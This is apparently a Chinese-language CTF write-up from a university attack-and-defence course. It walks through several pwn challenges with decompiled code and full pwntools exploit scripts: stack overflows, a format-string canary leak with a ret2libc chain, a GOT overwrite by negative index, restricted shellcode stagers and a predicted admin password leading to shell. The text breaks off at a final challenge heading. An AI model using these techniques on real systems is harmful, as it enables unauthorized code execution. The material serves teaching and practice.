Yet another CTF writeups ;)
Intro
睽違兩年,這學期修了學校的電腦攻防課程,pwn題的部分順利全解了,筆記一下這次的解題過程
binary和exploit: https://github.com/lebr0nli/NCU-ADL-CTF/tree/main/2022
helloworld
Overview
checksec:
pwndbg> checksec
[*] '/ctf/work/ADL/2022/helloworld/helloworld'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
code:
int helloworld()
{
return execve("/bin/sh", 0LL, 0LL);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[32]; // [rsp+0h] [rbp-20h] BYREF
init(argc, argv, envp);
puts("Are you new to ctf?");
puts("Try to say helloworld in hacker's way!");
gets(v4);
return 0;
}
main
用了gets
去讀輸入到stack上的buffer,很明顯有stack bof
另外helloworld
的部分會去直接幫你execve("/bin/sh", 0, 0)
Solution
蓋掉main
的saved rip,直接return到helloworld
就可以了
solve.py:
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
binary = ELF("./helloworld_patched")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
def one_gadget(filename: str) -> list:
return [int(i) for i in
__import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
GDB_SCRIPT = '''
b main
'''.strip()
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == 'd':
context.log_level = 'debug'
# ./solve l
if arg == 'l':
io = process([binary.path])
# ./solve g
elif arg == 'g':
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# $ ./solve
if io is None:
io = remote("ctf.adl.tw", 10000)
return io
def main():
io = conn()
win = binary.symbols['helloworld']
io.sendlineafter(b"!\n", b"A" * 0x28 + p64(win))
io.interactive() # ADL{h3ll0_w0rld!!!https://youtu.be/rOU4YiuaxAM}
if __name__ == "__main__":
main()
flag: ADL{h3ll0_w0rld!!!https://youtu.be/rOU4YiuaxAM}
helloworld again
Overview
checksec:
[*] '/ctf/work/ADL/2022/helloworld_again/helloworld_again'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
code:
int helloworld()
{
return system("/bin/sh");
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[32]; // [rsp+0h] [rbp-20h] BYREF
init(argc, argv, envp);
puts("Say helloworld to this cute yatagarasu!");
__isoc99_scanf("%s", s);
if ( strlen(s) > 0x20 )
{
puts("Too looooooooooooooooong. The yatagarasu had flown away.");
exit(0);
}
if ( strcmp(s, "helloworld") )
{
puts("This is not helloworld. The yatagarasu seems confused.");
exit(0);
}
return 0;
}
main
由於在scanf
的部分沒有限制長度,跟上題一樣有stack bof,只是這次多了一個strlen
和strcmp
的檢查
至於helloworld
的部分,可以發現他這次不用execve
,改成用system
Solution
只需要讓payload的開頭是helloworld\0
,即可繞過檢查
剩下的就和上一題一樣,跳到helloworld
就可以了
需要注意的是由於do_system
中的movaps
指令,會要求rsp+offset
對齊16 bytes,所以為了對齊,我們可以直接跳到helloworld
push完rbp
後的位置(+5),來讓do_system
的時候stack是有正確對齊的
solve.py:
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
binary = ELF("./helloworld_again_patched")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
def one_gadget(filename: str) -> list:
return [
int(i) for i in __import__('subprocess').check_output(
['one_gadget', '--raw', filename]).decode().split(' ')
]
GDB_SCRIPT = '''
b main
'''.strip()
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == 'd':
context.log_level = 'debug'
# ./solve l
if arg == 'l':
io = process([binary.path])
# ./solve g
elif arg == 'g':
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# $ ./solve
if io is None:
io = remote("ctf.adl.tw", 10001)
return io
def main():
io = conn()
payload = flat(
{
0: b"helloworld\x00",
0x28: p64(binary.symbols["helloworld"] + 5)
},
length=0x40)
io.sendlineafter(b"!\n", payload)
io.interactive() # ADL{Rur1_15_my_w1fu~https://youtu.be/DuMqFknYHBs}
if __name__ == "__main__":
main()
flag: ADL{Rur1_15_my_w1fu~https://youtu.be/DuMqFknYHBs}
sakana
Overview
checksec:
[*] '/ctf/work/adl/2022/sakana/sakana'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保護全開
code有點雜,但主要的問題出在這:
unsigned __int64 __fastcall get_line(__int64 a1, __int64 a2)
{
__int64 v3; // rax
char v4; // [rsp+1Bh] [rbp-15h]
_BYTE v5[12]; // [rsp+1Ch] [rbp-14h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
puts(a1);
*(_DWORD *)&v5[8] = 0;
v6 = 0LL;
*(_QWORD *)v5 = (unsigned int)strlen(a1);
while ( 1 )
{
v4 = getc();
if ( v4 == 10 )
break;
if ( v6 <= 0x1FF )
{
v3 = (*(_QWORD *)&v5[4])++;
strins(a2, (unsigned int)v4, v3);
++v6;
}
}
*(_BYTE *)(a2 + v6) = 0;
return v6;
}
unsigned __int64 parse_cmd()
{
int v0; // edx
int v1; // ecx
int v2; // er8
int v3; // er9
int v4; // edx
int v5; // ecx
int v6; // er8
int v7; // er9
char v9[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v10; // [rsp+108h] [rbp-8h]
v10 = __readfsqword(0x28u);
if ( (unsigned int)strlen(&cmd) )
{
trim(&cmd);
if ( !(unsigned int)strcmp(&cmd, "help") )
{
puts(
"help\t\t: print this help menu.\n"
"sakana\t\t: sakana~\n"
"chinanago\t: chinanago~\n"
"exit\t\t: terminate shell.\n"
"clear\t\t: clear screen.\n");
}
else if ( !(unsigned int)strcmp(&cmd, "printf") )
{
memset(v9, 0LL, 256LL);
get_line((__int64)&unk_5ADF, (__int64)v9);
printf((unsigned int)v9, (unsigned int)v9, v0, v1, v2, v3, v9[0]);
}
else if ( !(unsigned int)strcmp(&cmd, "clear") )
{
puts("\x1B[2J\x1B[H");
}
else
{
if ( !(unsigned int)strcmp(&cmd, "exit") )
_exit(1);
if ( !(unsigned int)strcmp(&cmd, "sakana") )
{
sakana();
}
else if ( !(unsigned int)strcmp(&cmd, "chinanago") )
{
chinanago();
}
else
{
printf(
(unsigned int)"%s: command not found\nRun 'help' for usage.\n",
(unsigned int)&cmd,
v4,
v5,
v6,
v7,
v9[0]);
}
}
}
return __readfsqword(0x28u) ^ v10;
}
可以看到當輸入的command是printf
時,getline()
最多可以讀0x1ff bytes,但buffer的大小是0x110 bytes,所以很明顯有overflow
此外parsecmd()
會直接printf v9
這塊我們可以控制的buffer,所以還有format string的漏洞
Solution
首先用format string leak argument index分別是39和45的memory中存的值,可以得到canary和__libc_start_main+243
的address
接下來算出libc base之後直接ret2libc就可以了
(不太確定為什麼%<num>$<type>
和%p
這種format string用不了,所以使用多個%X
來leak data)
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
binary = ELF("./sakana_patched")
libc = ELF("./libc.so.6")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
def one_gadget(filename: str) -> list:
return [int(i) for i in
__import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
GDB_SCRIPT = '''
b *parse_cmd+187
'''.strip()
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == 'd':
context.log_level = 'debug'
# ./solve l
if arg == 'l':
io = process([binary.path])
# ./solve g
elif arg == 'g':
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# $ ./solve
if io is None:
io = remote("ctf.adl.tw", 10003)
return io
def main():
io = conn()
io.sendlineafter(b"~> ", b"printf")
payload = b"%X" * 39
io.sendline(payload)
leaks = io.recvuntil(b"~> ", drop=True).split(b"0x")
canary = leaks[-1]
info(f"canary found: {canary}")
io.sendline(b"printf")
payload = b"%X" * 45
io.sendline(payload)
leaks = io.recvuntil(b"~> ", drop=True).split(b"0x")
libc_leaked = int(leaks[-1], 16)
info(f"libc leaked: {libc_leaked:#x}")
libc.address = libc_leaked - 243 - libc.sym["__libc_start_main"]
success(f"libc base: {libc.address:#x}")
rop = ROP(libc)
rop_chain = p64(rop.ret[0])
rop_chain += p64(rop.rdi[0])
rop_chain += p64(next(libc.search(b"/bin/sh")))
rop_chain += p64(libc.symbols["system"])
io.sendline(b"printf")
payload = flat(
{
0x110 - 8: bytes.fromhex(canary.decode())[::-1],
0x110 + 8: rop_chain
}
, length=0x1ff)
io.sendline(payload)
io.interactive() # ADL{5aK4Na~~~cH1n4N4g0~~~https://youtu.be/Rwzy6Qt8gq8}
if __name__ == "__main__":
main()
flag: ADL{5aK4Na~~~cH1n4N4g0~~~https://youtu.be/Rwzy6Qt8gq8}
cyberpsychosis
Overview
checksec:
[*] '/ctf/work/adl/2022/cyberpsychosis/cyberpsychosis'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
沒PIE,Partial RELRO
主要的問題在這:
unsigned __int64 show_info()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts("Which implant to show (index should between 0-9)");
print_limb_name();
write(1, "idx> ", 5uLL);
__isoc99_scanf("%d", &v1);
if ( v1 <= 9 )
{
if ( dword_405128[20 * v1] )
{
printf("limb: %s\n", (const char *)&implants + 80 * v1);
printf("implanted name: %s\n", (const char *)&implants + 80 * v1 + 32);
printf("value: %lu\n", *((_QWORD *)&unk_405120 + 10 * v1));
}
else
{
puts("Not yet implanted.");
}
}
else
{
puts("Invalid index!!");
}
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 edit_info()
{
__int64 v0; // rax
int v2[2]; // [rsp+8h] [rbp-28h] BYREF
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
v2[0] = 0;
v2[1] = 0;
memset(s, 0, 0x10uLL);
puts("Which limb to edit (index should between 0-9)");
print_limb_name();
write(1, "idx> ", 5uLL);
__isoc99_scanf("%d", v2);
if ( v2[0] <= 9 )
{
printf("Implant name: ");
read(0, (char *)&implants + 80 * v2[0] + 32, 0x20uLL);
printf("Implant value: ");
read(0, s, 0x10uLL);
v0 = atol(s);
*((_QWORD *)&unk_405120 + 10 * v2[0]) = v0;
dword_405128[20 * v2[0]] = 1;
puts("Implant success!");
}
else
{
puts("Invalid index!!");
}
return __readfsqword(0x28u) ^ v4;
}
Solution
由於show_info()
沒有擋掉負數的index(v1
),稍微gdb一下可以發現,只要讓index等於-3的話可以leak放在GOT table中printf
的address,leak出來後減掉offset即可得到libc base
由於edit_info()
也沒有擋掉負數的index(v2
),可以發現讓index等於-2可以蓋掉GOT表中atol
的address,於是我們只需要將它蓋成system
的address,即可讓atol(&input)
變成system(&input)
最後我們只需要在蓋完atol
之後,輸入/bin/sh
,即可拿shell
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
binary = ELF("./cyberpsychosis_patched")
libc = ELF("./libc.so.6")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
def one_gadget(filename: str) -> list:
return [
int(i) for i in __import__('subprocess').check_output(
['one_gadget', '--raw', filename]).decode().split(' ')
]
GDB_SCRIPT = '''
b *edit_info+220
b *show_info+334
'''.strip()
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == 'd':
context.log_level = 'debug'
# ./solve l
if arg == 'l':
io = process([binary.path])
# ./solve g
elif arg == 'g':
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# $ ./solve
if io is None:
io = remote("ctf.adl.tw", 10004)
return io
def main():
io = conn()
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"> ", b"-3")
io.recvuntil(b"implanted name: ")
leaked = io.recvuntil(b"\nvalue: ", drop=True)
info(f"leaked: {leaked} {int.from_bytes(leaked, 'little'):#x}")
printf_addr = int(io.recvline().strip())
info(f"printf address: {printf_addr:#x}")
libc.address = printf_addr - libc.symbols["printf"]
success(f"libc base: {libc.address:#x}")
success(f"system address: {libc.symbols['system']:#x}")
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"> ", b"-2")
io.sendafter(b": ",
p64(libc.symbols['setvbuf']) + p64(libc.symbols['system']))
io.sendlineafter(b": ", b"/bin/sh")
io.interactive() # ADL{月一緒に行けなって ごめんね.https://youtu.be/h4VJGNNSQnw}
if __name__ == "__main__":
main()
flag: ADL{月一緒に行けなって ごめんね.https://youtu.be/h4VJGNNSQnw}
modohayaku
Overview
checksec:
[*] '/ctf/work/adl/2022/modohayaku/modohayaku'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
stack可執行,沒pie
main:
btw 我的ida 7.6不知道為啥分析不了,所以我是用cutter
int32_t main (void) {
void * buf;
int64_t var_c8h;
int64_t var_c0h;
int64_t var_b8h;
int64_t var_b0h;
int64_t var_a8h;
int64_t var_a0h;
int64_t var_98h;
int64_t var_90h;
int64_t var_88h;
int64_t var_80h;
int64_t var_78h;
int64_t var_70h;
int64_t var_68h;
int64_t var_60h;
int64_t var_58h;
int64_t var_50h;
int64_t var_48h;
int64_t var_40h;
int64_t var_38h;
int64_t var_30h;
int64_t var_28h;
int64_t var_10h;
int64_t var_8h;
int64_t var_4h;
eax = 0;
init ();
rax = 0x7361772073696854;
rdx = 0x7478652065687420;
buf = rax;
var_c8h = rdx;
rax = 0x6c6c696b73206172;
rdx = 0x2049207461687420;
var_c0h = rax;
var_b8h = rdx;
rax = 0x6e65656220646168;
rdx = 0x2c676e6964696820;
var_b0h = rax;
var_a8h = rdx;
rax = 0x206c617544abc220;
rdx = 0xbbc2736564616c42;
var_a0h = rax;
var_98h = rdx;
rax = 0x687420646e61202c;
rdx = 0x696e686365742065;
var_90h = rax;
var_88h = rdx;
rax = 0x6177204920657571;
rdx = 0x20676e6973752073;
var_80h = rax;
var_78h = rdx;
rax = 0x2073746920736177;
rdx = 0x616c632d68676968;
var_70h = rax;
var_68h = rdx;
rax = 0x64726f7773207373;
rdx = 0xc2206c6c696b7320;
var_60h = rax;
var_58h = rdx;
rax = 0x72756272617453ab;
rdx = 0x6165727453207473;
var_50h = rax;
var_48h = rdx;
rax = 0x732061202cbbc26d;
rdx = 0x682d6e6565747869;
var_40h = rax;
var_38h = rdx;
rax = 0x6f626d6f63207469;
rdx = 0x2e6b636174746120;
var_30h = rax;
var_28h = rdx;
section_plt_sec ("Show me how fast you are!!!");
rax = &buf;
edi = 0;
eax = 0;
read (edi, rax, 0xb0);
var_4h = 0;
while (var_4h <= 0xaf) {
eax = var_4h;
rax = (int64_t) eax;
eax = *((buf + rax));
if (al == 0x90) {
section_plt_sec ("Too sloooooooooooooooow.");
exit (0);
}
var_4h++;
}
var_8h = 0;
while (var_8h <= 0xf) {
edx = var_8h;
eax = var_8h;
eax <<= 2;
eax += edx;
eax += eax;
eax += edx;
rax = (int64_t) eax;
eax = *((buf + rax));
if (al != 0xc) {
edx = var_8h;
eax = var_8h;
eax <<= 2;
eax += edx;
eax += eax;
eax += edx;
eax++;
rax = (int64_t) eax;
eax = *((buf + rax));
if (al == 0x87) {
goto label_0;
}
edx = var_8h;
eax = var_8h;
eax <<= 2;
eax += edx;
eax += eax;
eax += edx;
eax += 2;
rax = (int64_t) eax;
eax = *((buf + rax));
if (al == 0x63) {
goto label_0;
}
section_plt_sec ("Wrong sword skill.");
exit (0);
}
label_0:
var_8h++;
}
rax = &buf;
var_10h = rax;
rdx = rax;
eax = 0;
void (*rdx)() ();
eax = 0;
return rax;
}
題目會先去讀輸入到一塊還蠻大的buffer,最後會把那塊buffer的位置放進rdx,再call rdx
但有一些限制:
-
\x90
不能出現在shellcode中 -
每11個bytes的開頭必須是
\x0c\x87\x63
Solution
首先暴力試一下\x0c\x87\x63
可以產生什麼可用的instruction:
from pwn import *
context.arch='amd64'
for i in range(0x100):
print(disasm(b"\x0c\x87\x63" + bytes([i])))
print()
可以發現一些有趣的東西,例如:
0: 0c 87 or al, 0x87
2: 63 d1 movsxd edx, ecx
測試一下可以發現movsxd edx, ecx
幾乎和mov edx, ecx
一樣,但差別在於這樣做會把rdx最左邊32個bits整個清掉
接著我們可以用gdb break在call rdx
,看一下那時的registers:
RAX 0x0
*RBX 0x401470 (__libc_csu_init) ◂— endbr64
*RCX 0x7f09ab2dcfd2 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX 0x7ffe024eb730 ◂— 0x50fc030d163870c
RDI 0x0
*RSI 0x7ffe024eb730 ◂— 0x50fc030d163870c
*R8 0x1c
*R9 0x7f09ab3dcd60 (_dl_fini) ◂— endbr64
*R10 0x4004db ◂— 0x6474730064616572 /* 'read' */
*R11 0x246
*R12 0x4010b0 (_start) ◂— endbr64
*R13 0x7ffe024eb8f0 ◂— 0x1
R14 0x0
R15 0x0
*RBP 0x7ffe024eb800 ◂— 0x0
*RSP 0x7ffe024eb730 ◂— 0x50fc030d163870c
*RIP 0x401464 (main+617) ◂— call rdx
可以看到rdi
是0,rdx
和rsi
指向同一個位置,都是我們read進去的buffer
所以,要拿shell很簡單,我們可以透過movsxd edx, ecx
,不要讓rdx
太大導致read
失敗(不太確定為什麼會失敗…),接著把被\x0c\x87
(mov al, 87
)改掉的rax
恢復成0,接著直接syscall
,即可重新read
一段不受限制的輸入進buffer,把放syscall
的位置後面的buffer蓋成可以拿shell的shellcode即可
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
binary = ELF("./modohayaku_patched")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
context.arch = 'amd64'
def one_gadget(filename: str) -> list:
return [int(i) for i in
__import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
GDB_SCRIPT = '''
# b *main+405
# b *main+466
b *main+617
'''.strip()
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == 'd':
context.log_level = 'debug'
# ./solve l
if arg == 'l':
io = process([binary.path])
# ./solve g
elif arg == 'g':
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# $ ./solve
if io is None:
io = remote("ctf.adl.tw", 10002)
return io
def fix(payload):
payload = list(payload)
print(payload)
edx = 0
for edx in range(0x10):
# mov eax, edx
# shl eax, 2
# add eax, edx
# add eax, eax
# add eax, edx
eax = edx
eax = eax << 2
eax = eax + edx
eax = eax + eax
eax = eax + edx
print(eax)
payload[eax] = 0xc
payload[eax + 1] = 0x87
payload[eax + 2] = 0x63
return bytes(payload)
def main():
io = conn()
# every 11 bytes starts with `\x0c\x87\x63`
payload = b"\x0c\x87\x63\xd1" # mov al, 0x87; movsxd edx, ecx
payload += asm(
'''
xor al, al
syscall
'''
)
nop_sled_len = len(payload)
info(f"payload len: {nop_sled_len}")
payload = payload.ljust(0xb0, b'\x00')
payload = fix(payload)
io.send(payload)
payload = b"\x90" * nop_sled_len
payload += asm(shellcraft.sh())
io.send(payload)
io.interactive() # ADL{574r8ur57_57r34m!!!https://youtu.be/jUuknk81n2w}
if __name__ == "__main__":
main()
flag: ADL{574r8ur57_57r34m!!!https://youtu.be/jUuknk81n2w}
modomodohayaku
Overview
code基本上和前一題一樣,只是這次禁止kirot
中任何一個字元出現在shellcode中,且變成每6個bytes一次\x0c\x87\x63
此外執行的過程中還有一些無聊的sleep,搞得很難debug…
Solution
和上一題一樣,只是這次要符合6個bytes的規律,所以\x0c\x87\x63
中間我放了一個mov eax, eax
當nop
,並在第二次\x0c\x87\x63
後接上\xc7
以使用movsxd eax, edi
把rax
清零,接著syscall
,把後面的buffer蓋成新的shellcode即可
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
from tempfile import NamedTemporaryFile
binary = ELF("./modomodohayaku_patched")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
if not os.path.exists("./libnosleep.so"):
with NamedTemporaryFile() as f:
f.write('''
#define _GNU_SOURCE
// hook sleep to do nothing
unsigned int sleep(unsigned int seconds) {
return 0;
}
'''.strip().encode())
f.flush()
os.system(f"gcc -x c -shared -fPIC -o libnosleep.so {f.name} -ldl")
def one_gadget(filename: str) -> list:
return [int(i) for i in
__import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
GDB_SCRIPT = '''
# b *0x4015BB
patch sleep ret
b *0x4015D1
'''.strip()
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == 'd':
context.log_level = 'debug'
# ./solve l
if arg == 'l':
io = process([binary.path], env={"LD_PRELOAD": "./libnosleep.so"})
# ./solve g
elif arg == 'g':
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# $ ./solve
if io is None:
io = remote("ctf.adl.tw", 10006)
return io
def fix(payload):
print(payload)
payload = list(payload)
edx = 0
for edx in range(0x10):
# mov eax, edx
# add eax, eax
# add eax, edx
# add eax, eax
eax = edx
eax += eax
eax = eax + edx
eax += eax
print(eax)
payload[eax] = 0xc
payload[eax + 1] = 0x87
payload[eax + 2] = 0x63
return bytes(payload)
def main():
io = conn()
# every 6 bytes starts with `\x0c\x87\x63`
payload = b"\x0c\x87\x63\xd1" # mov al, 0x87; movsxd edx, ecx
payload += asm(
'''
mov eax, eax
'''
)
payload = payload.ljust(9, b"\x00")
payload += b"\xc7" # mov al, 0x87; movsxd eax, edi
payload += asm(
'''
syscall
'''
)
nop_sled_len = len(payload)
info(f"payload len: {nop_sled_len}")
payload = payload.ljust(0x60, b'\x00')
payload = fix(payload)
io.sendafter(b"!!!\n", payload)
payload = b"\x90" * nop_sled_len
payload += asm(shellcraft.sh())
io.sendline(payload)
io.interactive() # ADL{G1v3_m3_73n_53c0nd5!!!https://youtu.be/UljR2IQAVfw}
if __name__ == "__main__":
main()
flag: ADL{G1v3_m3_73n_53c0nd5!!!https://youtu.be/UljR2IQAVfw}
modomodomodohayaky
Overview
跟上上題和上一題差不多,只是這次變成每5個bytes
一次c8763
Solution
這次比較特別的是在開頭使用\x0c\x87\x63\x??
,就只剩1 byte可控了
但可以發現,若是使用jmp $+x
,程式不會執行奇怪的instruction,一樣會short jump,不過因為\x0c\x87\x63
的開頭是\x0c
,所以會變成jmp $+0xc
接著可以發現,jmp $+0xc
完剛好是某一個\x0c\x87\x63
結束的位置,所以short jump完即可以使用一次2 bytes的instruction,讓程式接著順利的執行
剩下的和上一題一樣,透過movsxd
控制好rax
和rdx
,即可用新的shellcode覆蓋syscall
後面的buffer
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
binary = ELF("./modomodomodohayaku")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
def one_gadget(filename: str) -> list:
return [int(i) for i in
__import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
GDB_SCRIPT = '''
b *0x4014B8
'''.strip()
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == 'd':
context.log_level = 'debug'
# ./solve l
if arg == 'l':
io = process([binary.path], env={"LD_PRELOAD": "./libnosleep.so"})
# ./solve g
elif arg == 'g':
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT, env={"LD_PRELOAD": "./libnosleep.so"})
# $ ./solve
if io is None:
io = remote("ctf.adl.tw", 10007)
return io
def fix(payload):
print(payload)
payload = list(payload)
edx = 0
for edx in range(0x10):
# mov eax, edx
# shl eax, 2
# add eax, edx
eax = edx
eax = eax << 2
eax = eax + edx
print(eax)
payload[eax] = 0xc
payload[eax + 1] = 0x87
payload[eax + 2] = 0x63
return bytes(payload)
def main():
io = conn()
# every 5 bytes starts with `\x0c\x87\x63`
payload = b"\x0c\x87\x63\xd1" # mov al, 0x87; movsxd edx, ecx
payload += asm(
'''
jmp $+0xc
'''
)
# payload = payload.ljust(8, b"\x00")
# payload += asm("syscall")
# payload = payload.ljust(13, b"\x00")
# payload += asm("syscall")
payload = payload.ljust(18, b"\x00")
payload += asm(
'''
jmp $+4
'''
)
payload = payload.ljust(23, b"\x00")
payload += b"\xc7" # mov al, 0x87; movsxd eax, edi
payload += asm(
'''
jmp $+0xc
'''
)
# payload = payload.ljust(28, b"\x00")
# payload += asm("syscall")
# payload = payload.ljust(33, b"\x00")
# payload += asm("syscall")
payload = payload.ljust(38, b"\x00")
payload += asm("syscall")
nop_sled_len = len(payload)
info(f"payload len: {nop_sled_len}")
payload = payload.ljust(0x50, b'\x00')
payload = fix(payload)
print(payload)
io.sendafter(b"!!!\n", payload)
payload = b"\x90" * nop_sled_len
payload += asm(shellcraft.sh())
io.sendline(payload)
io.interactive() # ADL{us0d4r0......https://youtu.be/KId6eunoiWk}
if __name__ == "__main__":
main()
flag: ADL{us0d4r0......https://youtu.be/KId6eunoiWk}
project alicization
Overview
這題沒啥pwn,只是code很雜又因為是用c++寫的,所以逆出來很醜
主要的問題在這:
__int64 __fastcall admin_password_gen[abi:cxx11](__int64 a1)
{
char v2; // [rsp+1Bh] [rbp-5h]
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 19; ++i )
{
v2 = rand() % 93 + 33;
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(
&admin_passwd[abi:cxx11],
(unsigned int)v2);
}
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
a1,
&admin_passwd[abi:cxx11]);
return a1;
}
unsigned __int64 init(void)
{
unsigned int v0; // eax
char v2[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
v0 = time(0LL);
srand(v0);
admin_password_gen[abi:cxx11](v2);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v2);
init_buf_show_banner();
init_account_map();
init_cmd_funcs();
return __readfsqword(0x28u) ^ v3;
}
__int64 __fastcall check_illegal_element(void *a1, __int64 a2)
{
while ( a2-- )
{
if ( *(_BYTE *)a1 <= 0x1Fu || *(_BYTE *)a1 > 0x7Eu )
return 0LL;
a1 = (char *)a1 + 1;
}
return 1LL;
}
__int64 system_call_generate_shellcode_element(void)
{
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
char *s; // [rsp+8h] [rbp-18h]
if ( (unsigned __int8)Account::is_admin(curr_accout) )
{
s = (char *)mmap((void *)0xC0000, (size_t)&_data_start, 7, 34, 0, 0LL);
memset(s, 48, (size_t)&_data_start);
operator<<(&std::cout, "Say your element content: ");
read(0, s + 34659, 0x789DuLL);
if ( (unsigned __int8)check_illegal_element(s + 34659, 0x789DuLL) )
{
return ((__int64 (*)(void))(s + 34659))();
}
else
{
v1 = operator<<(&std::cout, "System Call Fail!");
return std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v2 = operator<<(&std::cout, "You are ");
v3 = operator<<(v2, curr_accout);
v4 = operator<<(v3, ", not Quinella.");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
v5 = operator<<(&std::cout, "You need administrator permission.");
return std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
}
}
可以看到他會用srand(time(0))
去設random seed,並在admin_password_gen
中使用rand() % 93 + 33
產生20 bytes的admin password
並在成功登入admin的帳號後,可以在system_call_generate_shellcode_element()
中執行printable的shellcode
Solution
用同樣的方法rand()
出一組password,然後從網路上隨便找一個可以產生printable shellcode的script產生一下shellcode即可
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
from ctypes import CDLL
import pwnlib
from ae64 import AE64
binary = ELF("./project_alicization_patched")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
context.arch = 'amd64'
def one_gadget(filename: str) -> list:
return [int(i) for i in
__import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
GDB_SCRIPT = '''
b *$rebase(0x3D48)
'''.strip()
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == 'd':
context.log_level = 'debug'
# ./solve l
if arg == 'l':
io = process([binary.path])
# ./solve g
elif arg == 'g':
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# $ ./solve
if io is None:
io = remote("ctf.adl.tw", 10008)
return io
def main():
io = conn()
libc = CDLL("libc.so.6")
now_time = libc.time(0)
possible_passwords = []
for off in range(now_time - 3, now_time + 1):
libc.srand(off)
password = b""
for _ in range(20):
rand_num = libc.rand()
password += bytes([rand_num % 93 + 33])
possible_passwords.append(password)
info(f"Possible password: {password}")
admin_password = None
for password in possible_passwords:
info(f"Trying password: {password}")
io.sendlineafter(b": ", b"System Call login")
io.sendlineafter(b": ", b"Quinella")
io.sendlineafter(b": ", password)
result = io.recvline()
if b"You login with " in result:
success(f"admin password found: {password}")
admin_password = password
break
if admin_password is None:
error("admin password not found")
return
io.sendlineafter(b": ", b"System Call generate shellcode element")
shellcode = asm(shellcraft.sh())
print(shellcode)
# alphanumeric shellcode
shellcode = AE64().encode(shellcode)
print(shellcode)
io.sendafter(b": ", shellcode)
io.interactive() # ADL{5y573m_c4ll_GEN3R47E_fl4g_3l3M3NT.https://youtu.be/r-4XumkB2Yg}
if __name__ == "__main__":
main()
flag: ADL{5y573m_c4ll_GEN3R47E_fl4g_3l3M3NT.https://youtu.be/r-4XumkB2Yg}
Test Subject 087
Overview
checksec:
